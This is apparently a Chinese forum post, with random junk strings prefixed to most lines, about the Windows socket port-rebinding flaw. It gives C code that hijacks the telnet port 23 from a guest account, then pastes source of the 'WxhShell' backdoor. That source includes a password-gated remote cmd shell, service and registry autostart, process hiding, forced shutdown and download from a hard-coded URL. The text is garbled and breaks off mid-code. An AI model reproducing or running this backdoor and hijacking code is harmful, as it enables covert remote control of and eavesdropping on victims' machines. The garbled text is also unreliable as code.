在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6- H81y3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Y{yN*9a79 V_Owi5h saddr.sin_family = AF_INET;
="fq.Tt !FwR7`i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?U~}uG^ q}Wd`>VDR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
QIl![% 2p3ep, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
" jefB6k9h -cW`qWbd 这意味着什么?意味着可以进行如下的攻击:
xs jJ8>G .O9A[s< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2K/+6t} pyPS5vWG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hVQ
TW[ = ~{n-rMF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
joaf0 nv WTx4oy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yP :/F|E$ 7/*a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
n7UZ&ab 2I!STP{ !l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`? ayc/TK 8ut:cCrmg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b?&=gm%oU zPwU'TbF #include
['F, #include
G/tah@N[7 #include
rSTc4m1R #include
3wRk -sl DWORD WINAPI ClientThread(LPVOID lpParam);
/($!("b int main()
cI #2MjL {
|E+tQQr%' WORD wVersionRequested;
v] *(Wd~| DWORD ret;
FS.z lk\D= WSADATA wsaData;
_;*|"e@^ BOOL val;
=}@m$g SOCKADDR_IN saddr;
}hT1@I
SOCKADDR_IN scaddr;
z!09vDB^ int err;
TF %8pIg>Z SOCKET s;
:UuPy|> SOCKET sc;
B Z:H$v int caddsize;
@&f3zq HANDLE mt;
"z+Z8l1. DWORD tid;
Ve<3XRq|8 wVersionRequested = MAKEWORD( 2, 2 );
-BWkPq! err = WSAStartup( wVersionRequested, &wsaData );
!A>VzW if ( err != 0 ) {
Y~=]RCg printf("error!WSAStartup failed!\n");
s
}P-4Sg return -1;
A=X2zm>9 }
.hh2II saddr.sin_family = AF_INET;
Up|\&2_ ZB-+bY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.F'fBT`$ (n{sp saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-e_+x'uF saddr.sin_port = htons(23);
5[WhjTo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{Kp<T {
PPCZT3c= printf("error!socket failed!\n");
Uk5O9D0
He return -1;
G>hmVd }
%]9
<a val = TRUE;
%9|=\#
G //SO_REUSEADDR选项就是可以实现端口重绑定的
A@/DGrZX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
G@Dw {
0`X%& printf("error!setsockopt failed!\n");
1\d$2N" return -1;
\FOX#|i) }
W'{q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
g%w@v$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[kqxC //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SfE^'G\ W-Cf#o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EXz5Rue
LV {
I>b-w;cC ret=GetLastError();
qL^}t_> printf("error!bind failed!\n");
W%]sI n return -1;
kP%Hg/f/Ot }
7lpd$Y listen(s,2);
aE^tc'h~ while(1)
?v2OoNQ
{
3Lwl~h! caddsize = sizeof(scaddr);
K[LTw_oE //接受连接请求
%g(h%V9f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y^gK^?K if(sc!=INVALID_SOCKET)
C]UBu-]#S {
LX.1]T*m` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t"1'B!4 if(mt==NULL)
ak50]KYo {
`+b>@2D_ printf("Thread Creat Failed!\n");
+j 5u[X break;
&?3?8Q\ }
)>,b>7 }
f}bUuQrH-! CloseHandle(mt);
]>@;
2%YvY }
l;>#O closesocket(s);
{+[~;ISL WSACleanup();
%+$P<Rw7 return 0;
9frx 60 }
r
@~T}<I DWORD WINAPI ClientThread(LPVOID lpParam)
-"5x? \.{m {
~4Is SOCKET ss = (SOCKET)lpParam;
dJ`Fvj SOCKET sc;
x&R&\}@G m unsigned char buf[4096];
G#'3bxI{f+ SOCKADDR_IN saddr;
A"Rzn1/ long num;
!)tXN=(1a DWORD val;
=ox#qg.5 DWORD ret;
^ j@Q2>&? //如果是隐藏端口应用的话,可以在此处加一些判断
Kq`Luf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|bDN~c:/ saddr.sin_family = AF_INET;
K G~](4JE( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O#A1)~ saddr.sin_port = htons(23);
S6H=(l58 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.Gl&K|/{j {
:5?ti printf("error!socket failed!\n");
!U]V?Jpi" return -1;
CTtF=\ }
G;Y,C<)0k val = 100;
SPsq][5eR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l3}n.ODA {
\{da|n- ret = GetLastError();
P<kTjG return -1;
ZP?k |sEH }
c}mJ6Pt if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:LVM'c62c> {
&+`l
$h ret = GetLastError();
oO @6c % return -1;
wB5zp }
7V0:^Jov if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
MV$>|^'em {
#`a-b<uz printf("error!socket connect failed!\n");
UVu"meZX closesocket(sc);
|d D! @K closesocket(ss);
-/ return -1;
3HbHl?-UNU }
Xkl^!, while(1)
4PiN Q'* {
XoSjYG(>, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p"H8;fPA0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
r _xo>y~S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
fY=iQ?{/[ num = recv(ss,buf,4096,0);
&X+V} if(num>0)
d5A!kU _. send(sc,buf,num,0);
EhB9M!Y`@ else if(num==0)
QY+#Vp<` break;
#2ZXYH} num = recv(sc,buf,4096,0);
&t%CuU]/@ if(num>0)
B<1*p,z send(ss,buf,num,0);
`1EBnL_1 else if(num==0)
1`O`!plD+ break;
46_<v=YSJ }
c7s4 g- closesocket(ss);
LEhku4U. closesocket(sc);
PR|Trnd&D return 0 ;
Z55,S=i }
77i |a]Kd no?)GQ &;)~bS( ==========================================================
r
%0 U_}$QW0' 下边附上一个代码,,WXhSHELL
42p6l ~n[LL)v ==========================================================
#C+Gk4"w A</[Q>8 #include "stdafx.h"
%hrv~= Qb|w \xT^Y #include <stdio.h>
$:u,6|QsS= #include <string.h>
2Fx<QRz #include <windows.h>
18[f_0@ # #include <winsock2.h>
f=K1ZD #include <winsvc.h>
X8Sk #include <urlmon.h>
Od&M^;BQ WKah$l #pragma comment (lib, "Ws2_32.lib")
nNhN:? #pragma comment (lib, "urlmon.lib")
Z$zUy|s[ \)M5o #define MAX_USER 100 // 最大客户端连接数
Z~ ?:r #define BUF_SOCK 200 // sock buffer
B10p7+NBF #define KEY_BUFF 255 // 输入 buffer
eaX`S.!jR ePs<jrB< #define REBOOT 0 // 重启
<;=Y4$y[ #define SHUTDOWN 1 // 关机
:m&`bq SOK2{xCG #define DEF_PORT 5000 // 监听端口
9Biw!%a Dx <IS^>i #define REG_LEN 16 // 注册表键长度
!FSraW2 #define SVC_LEN 80 // NT服务名长度
&]LwK5SR H&03>.b // 从dll定义API
|Y'$+[TE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K6Gc)jp:b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,6M-xSDs typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,j_{IL690 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&us8,x6yg _5`M( ;hL2 // wxhshell配置信息
K&)a3Z=(. struct WSCFG {
5)nv int ws_port; // 监听端口
}qKeX4\- char ws_passstr[REG_LEN]; // 口令
>`{i[60r int ws_autoins; // 安装标记, 1=yes 0=no
{Y0I A97, char ws_regname[REG_LEN]; // 注册表键名
rM?D7a{q char ws_svcname[REG_LEN]; // 服务名
mCz6& char ws_svcdisp[SVC_LEN]; // 服务显示名
+XpRkX&- char ws_svcdesc[SVC_LEN]; // 服务描述信息
]UgAz char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~JZLfw int ws_downexe; // 下载执行标记, 1=yes 0=no
/yykOvUO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'|d (<.[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`% ENGB| O"#`i{^?2 };
%<M<'jxSca u^]yz&9V // default Wxhshell configuration
p +T&9 struct WSCFG wscfg={DEF_PORT,
D~?kvyJ "xuhuanlingzhe",
%I.{umU 1,
-:~`g*3# "Wxhshell",
`PW=_f={ "Wxhshell",
he+[ "WxhShell Service",
9Np0<e3p "Wrsky Windows CmdShell Service",
|wLQ)y* "Please Input Your Password: ",
cbwzT0 1,
*$cp" "
http://www.wrsky.com/wxhshell.exe",
d|o"QYX "Wxhshell.exe"
pbzbh&Y };
^&6NB)6 eAuJ}U[ // 消息定义模块
(C3d<a\: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(Dl"s`UH~ char *msg_ws_prompt="\n\r? for help\n\r#>";
bv+e'$U3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w-#0k.T char *msg_ws_ext="\n\rExit.";
H9>&"=". char *msg_ws_end="\n\rQuit.";
:_aY:` char *msg_ws_boot="\n\rReboot...";
Bjo& char *msg_ws_poff="\n\rShutdown...";
0ay!tS
dN char *msg_ws_down="\n\rSave to ";
=#V11j Z|/):nVP7 char *msg_ws_err="\n\rErr!";
F4&N;Zm2 char *msg_ws_ok="\n\rOK!";
&.z/dFmG *C:+N> char ExeFile[MAX_PATH];
A;|DQR() int nUser = 0;
uLCU3nI HANDLE handles[MAX_USER];
'pe0Q- int OsIsNt;
Za f) ua[\npz5 SERVICE_STATUS serviceStatus;
V8sY7QK= SERVICE_STATUS_HANDLE hServiceStatusHandle;
q@sH@-z4] X3-1)|g !z // 函数声明
nB]Q^~jX int Install(void);
X,N@` int Uninstall(void);
\1MDCP9: int DownloadFile(char *sURL, SOCKET wsh);
+,-rb int Boot(int flag);
dXDD/8E void HideProc(void);
<R(2 9QN int GetOsVer(void);
(s3%1OC[ int Wxhshell(SOCKET wsl);
BdKtpje void TalkWithClient(void *cs);
=B:poh[u int CmdShell(SOCKET sock);
O.E0LCABC int StartFromService(void);
:I$2[K int StartWxhshell(LPSTR lpCmdLine);
{S}@P~H= Y o(B8}?0! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i\Vpp8<B VOID WINAPI NTServiceHandler( DWORD fdwControl );
NN:TT\!v ;MMFF { // 数据结构和表定义
</=PN1=A SERVICE_TABLE_ENTRY DispatchTable[] =
c[y8"M5 {
1v4kN
- {wscfg.ws_svcname, NTServiceMain},
wtUG2 ( {NULL, NULL}
5QSmim };
1P[Lz!C 3aqmK.`H // 自我安装
&f yFUg int Install(void)
ry\']\k {
B1M/5cr. char svExeFile[MAX_PATH];
mr1}e
VM~! HKEY key;
@Y,F&8a$ strcpy(svExeFile,ExeFile);
uqUo4z 5T Z:v1?v // 如果是win9x系统,修改注册表设为自启动
_UBI,Dg] if(!OsIsNt) {
'=H^m D+gl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qck/b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[5VUcXGt*\ RegCloseKey(key);
yq}{6IyZ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xAjQW= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gAj)3T@
RegCloseKey(key);
wuk7mIJ return 0;
q KM]wu0Et }
K_5&_P1 }
IebS~N
E }
5);#\&B else {
injmP9ed c6HU'%v // 如果是NT以上系统,安装为系统服务
zK 2wLX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
tTt3D]h(
if (schSCManager!=0)
]#$kA9 {
bIArAS9% SC_HANDLE schService = CreateService
8w&rj- (
lnDDFsA schSCManager,
s=TjM?) wscfg.ws_svcname,
-T?IkL) wscfg.ws_svcdisp,
PNKT \yd SERVICE_ALL_ACCESS,
xu=B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_@N)]!\MgP SERVICE_AUTO_START,
dM UDLr- SERVICE_ERROR_NORMAL,
`X='g96C1 svExeFile,
tD]&et NULL,
32iI :u NULL,
JF*g!sV% NULL,
lX*;KHT ) NULL,
swlWe}1 NULL
,}tdfkZFYl );
o"FiM5L^. if (schService!=0)
Zir`IQ$ {
SR&
mHI-f0 CloseServiceHandle(schService);
skz]@{38 CloseServiceHandle(schSCManager);
F}]_/cY7B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q:O>k CDV strcat(svExeFile,wscfg.ws_svcname);
RfBb{?PP) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|y%].y) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~TH5>``;gF RegCloseKey(key);
`yAo3A9vk return 0;
M0SH-0T;Z }
EYxRw }
5}xni CloseServiceHandle(schSCManager);
xacLlX+ }
#/Fu*0/)` }
wYA/<0'yH Yp]G)}'R return 1;
Pp_3 nyQ }
nb_^3K]r 2<G1'7) // 自我卸载
q|X4[E|{Q int Uninstall(void)
qffSq](D. {
<j\;>3Q HKEY key;
.4<U*Xkt WrNgV@P if(!OsIsNt) {
5%+}rSn7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1=Zw=ufqV RegDeleteValue(key,wscfg.ws_regname);
\Byk`}
9 RegCloseKey(key);
B bw1k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SECQVA_y` RegDeleteValue(key,wscfg.ws_regname);
5TneuG[OD RegCloseKey(key);
1[BvHOI2 return 0;
g>xUS_d> }
'$XHRS/q] }
R.H\b! }
*+j{9LK else {
2A}u qaF =>0M3 Qh{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c^Jgr(Ow if (schSCManager!=0)
0@K:Tq-mF {
B21AcE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;3|Lw<D5; if (schService!=0)
SP*JleQN {
PdH`_/6 if(DeleteService(schService)!=0) {
"&#WMi CloseServiceHandle(schService);
d^5SeCs6 CloseServiceHandle(schSCManager);
'[ g)v return 0;
8I\eromG }
$U1kP?pR CloseServiceHandle(schService);
Ws*PMK.0 }
k!/_/^{ CloseServiceHandle(schSCManager);
Ik5jwfz }
s#4ew} }
Zng` oFD iQ! return 1;
7ml0 }
4A/,X>W61 %HF$ // 从指定url下载文件
NhoS7 y( int DownloadFile(char *sURL, SOCKET wsh)
zrU$SWU {
tOM3Gs~o6z HRESULT hr;
4@]xn char seps[]= "/";
#* gU[9U~ char *token;
_'hCUXeY' char *file;
id tQXwa char myURL[MAX_PATH];
te*Y]-&I|/ char myFILE[MAX_PATH];
<,pLW~2-" C6'*/wq strcpy(myURL,sURL);
8gtCY~m token=strtok(myURL,seps);
3.<6;? while(token!=NULL)
H'0*CiHes {
Kt90mA file=token;
l?JO8^Nn token=strtok(NULL,seps);
jqGo-C~ }
0"^oTmQN Dd#
SUQ GetCurrentDirectory(MAX_PATH,myFILE);
JXY!c\, strcat(myFILE, "\\");
a^XTW7]r strcat(myFILE, file);
;Co[y=Z send(wsh,myFILE,strlen(myFILE),0);
wEfz2Eq send(wsh,"...",3,0);
]v@ tZ} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Iwt2}E(e if(hr==S_OK)
@b!R2Yq return 0;
"dK|]w8 else
y/}VtD return 1;
c_z/At;4 L_gsG|xX }
{{]=zt|69 /y](mu "! // 系统电源模块
6PJJ?}P^1 int Boot(int flag)
"_1-IE {
) qyx|D HANDLE hToken;
~f=6?5.wa TOKEN_PRIVILEGES tkp;
1V**QSZ1 /SCZ& if(OsIsNt) {
EK8E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QBfhyo_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
64!ame}n+ tkp.PrivilegeCount = 1;
=> uVp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~t${=o430 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}r~v,KDb if(flag==REBOOT) {
ll(e,9.D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
mF*?e/ return 0;
/h7>Z9T }
/+4^.Q* else {
FU5LYXCs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lpfwlB'~9 return 0;
r%TLv }
b
5F4+ }
5xMA~I 0c else {
V<HOSB7 if(flag==REBOOT) {
z<oE!1St if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
TRk
?8 return 0;
co<2e#p; }
-Ap2NpZ"t else {
^fE\ S5P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
h{W$ fZc< return 0;
Y|m_qB^_ }
qD(fYOX{C }
bIb6yVnHi u+mjguIv return 1;
Q$?7) yyu+ }
uv|eVT3jNs "$~}'`(] // win9x进程隐藏模块
W(&Go'9e" void HideProc(void)
^I(oy.6?=p {
3yHb!}F ,#E3,bu6_4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:$M9XZ~\ if ( hKernel != NULL )
V6@*\+:3) {
DMAf^.,S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yD3bl%uZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,30FGz^i FreeLibrary(hKernel);
#.E\,N' }
24H^hN9 d,Cz-.'sOf return;
Q?
<-`7 }
?qf:_G :(bdI] // 获取操作系统版本
.Bb$j= int GetOsVer(void)
'A@qg^e:` {
)|U_Z"0H^ OSVERSIONINFO winfo;
<CZI7]PM7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lfxuc7Rdla GetVersionEx(&winfo);
--in+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}mKGuCoH> return 1;
C1X}3bB else
Jh37pI return 0;
<X:Ud&\ }
h^o+E2<] ]regi- LGU // 客户端句柄模块
p!HPp Ef+# int Wxhshell(SOCKET wsl)
a4A`cUt {
.abyYVrN4? SOCKET wsh;
t[]['Iosd struct sockaddr_in client;
Q^$ghZ6V DWORD myID;
E|HSwTHe ad"'O] while(nUser<MAX_USER)
|RR"'o_E {
'8s>rH5[V int nSize=sizeof(client);
hMNJ'i} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I*^5'N' if(wsh==INVALID_SOCKET) return 1;
C-Nuy1o qq
OxTG] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1i4WWK7k if(handles[nUser]==0)
~'NX~<m closesocket(wsh);
;$vLq&(} else
f"vk# 3 nUser++;
xLA~1ZSVJw }
J6*f Uh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[dl+:P:zc 4F}Pu<; return 0;
yt. f!" }
bRWIDPh _~tm7o+js // 关闭 socket
<v]z6B@9! void CloseIt(SOCKET wsh)
>eQbipn {
`-4'/~G closesocket(wsh);
/r276Q nUser--;
d'ZS;l ExitThread(0);
N5m'To] }
5gSylts8 #S%4? // 客户端请求句柄
E_~x==cb void TalkWithClient(void *cs)
cC'
~ {
Vr 8:nP: uM<|@`&b SOCKET wsh=(SOCKET)cs;
q %>7L<r char pwd[SVC_LEN];
}7.#Dj/r6 char cmd[KEY_BUFF];
Z(p*Z,?u char chr[1];
(qUK7$ int i,j;
%4,xx'` fmFzW*,E while (nUser < MAX_USER) {
^00{Hd6 7Re-5vz
R if(wscfg.ws_passstr) {
b4CF`BG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r@k"4ce- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A;,Dg=FL/ //ZeroMemory(pwd,KEY_BUFF);
E tx`K5Tr] i=0;
*<IR9.~{6% while(i<SVC_LEN) {
&iNS?1a%f= }%$OU = T // 设置超时
LKx` v90p fd_set FdRead;
:k~dj C struct timeval TimeOut;
tw<P)V\h FD_ZERO(&FdRead);
Wwhgo.Wx FD_SET(wsh,&FdRead);
yAG+] r TimeOut.tv_sec=8;
xIL#h@dz TimeOut.tv_usec=0;
&cc9}V)M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)t%h[0{{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IE;\7r+h J=iRul^S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&RW`W)0; pwd
=chr[0]; =We2^W-{
if(chr[0]==0xd || chr[0]==0xa) { FaY_0G;y
pwd=0; ;1`!wG-DD
break; a8Uk[^5
} tuxRVV8l
i++; d2~l4IL)~
} 3+(z_!Qh
1k[GuG%/K
// 如果是非法用户,关闭 socket xQU"A2{}>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <bUXC@3W
} ;iU%Kt
HCj>,^<h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ubbnFE&PD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O~PChUU*Y
,h&a9:+i
while(1) { E^wyD-ii/
g)R1ObpZ
ZeroMemory(cmd,KEY_BUFF); dZ]Rqr
_!
~.oj.[}
// 自动支持客户端 telnet标准 Kkv<"^H
j=0; +sf .PSz$
while(j<KEY_BUFF) { UpfZi9v?W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OlY$v@|
cmd[j]=chr[0]; z%sy$^v@vD
if(chr[0]==0xa || chr[0]==0xd) { Td h TQ
cmd[j]=0; opp!0:jS*
break; VagT_D
} ;:]\KJm}?
j++; e2w&&B-
} #xT!E:W'
}x :f%Z5h
// 下载文件 gXy-Mpzp
if(strstr(cmd,"http://")) { Ck'aHe22'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V.=lGhi
if(DownloadFile(cmd,wsh)) 0L#/lDNk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2K{6iw"h
else uMmXs%9T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <f>akT,W
} M%`\P\A
else { dRaO Gm)
u0
y 1
switch(cmd[0]) { 2@khSWV
jc:s` 4
// 帮助 \/5RL@X}
case '?': { |+}G|hx@9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lzhqcL"
break; vmX"+sHz$]
} L0NA*C
// 安装 fU+Pn@'
case 'i': { p|[B
=.c{
if(Install()) WZn.;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <1 "+,}'x
else )L5i&UK.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.FGBR7=q
break; +TJEG?o
} GP a`e
// 卸载 PaWr[ye
case 'r': { $`J_:H%
if(Uninstall()) KbW9s,:p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W?Ww2Lo%Y
else W|5_$p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s?C&s|'.
break; Log|%P\
} PXk?aJ
// 显示 wxhshell 所在路径 ytAWOt}`
case 'p': { q(IQa@$SR
char svExeFile[MAX_PATH]; DAO]uh{6
strcpy(svExeFile,"\n\r"); *rh,"Zo
strcat(svExeFile,ExeFile); pv,45z0
send(wsh,svExeFile,strlen(svExeFile),0); l.+yn91%>
break; vbG]mMJ
} ~AB*]Us
// 重启 j\&pej
case 'b': { |`/TBQz:r
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v|';!p|
if(Boot(REBOOT)) aSutM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2xO`[#
else { YN/}9.
closesocket(wsh); PkuTg";
ExitThread(0); ci9R.U)
} !wz/cM;
break; 3G}AH E4
} =/0=$\Ws
// 关机 ca<"
case 'd': { e^1uVN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #I*QX%(H#
if(Boot(SHUTDOWN)) ""iaGH+Cxw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IH*s8tPc
else { ;q>9W,jy
closesocket(wsh); gb|Q%LS9R
ExitThread(0); $A_]:qI2
} s#9Ui#[=h
break; 5` D-
} ;]2s,za)qs
// 获取shell !D^c3d
case 's': { E0n6$5Uc?
CmdShell(wsh); pKG<Nvgz&
closesocket(wsh); )RgGcHT@
ExitThread(0); I^\&y(LJF
break; -e GL) M
} o+B:#@9?
// 退出 |OO in]5
case 'x': { 5Qwh(C^H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HeGYu?&
CloseIt(wsh); NE2pL@sk
break; l\0w;:N3
} <6TT)t<h
// 离开 T4/fdORS
case 'q': { g^Yl TB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZzGahtx)Y
closesocket(wsh); oTjyN\?H
WSACleanup(); rf:XRJ<4
exit(1); {PU!=IkTS
break; URgk^nt2p
} eYUr-rN+)z
} `$LWmm#
} _9H*agRe
inb^$v
// 提示信息 ^[E'1$D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]
Wy)
} lf<S_2i
} sAn0bX
&.13dq
return; >I
} 2aZw[7s
Di_2Plo)4
// shell模块句柄 ]M>9ULQ
int CmdShell(SOCKET sock) UV
4>N
{ thi1kJ`L
STARTUPINFO si; |'ln?D:&
ZeroMemory(&si,sizeof(si)); -~[9U,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MTER(L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mP38T{
PROCESS_INFORMATION ProcessInfo; Jb)#fH$L
char cmdline[]="cmd"; hf/2vt
m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]?1Y
e8>Y<
return 0; Snly UP~P
} Pz#7h*;cw.
G|w=ez
// 自身启动模式 ,
^F)L|
int StartFromService(void) GDhE[of
{ 4D%9Rc0 G
typedef struct '3]p29v{
{ g[
0<m#"
DWORD ExitStatus; V=He_9B
DWORD PebBaseAddress; Yb i%od&
DWORD AffinityMask; ev0oO+u
DWORD BasePriority; Xv <G-N4
ULONG UniqueProcessId; /){KOCBl;
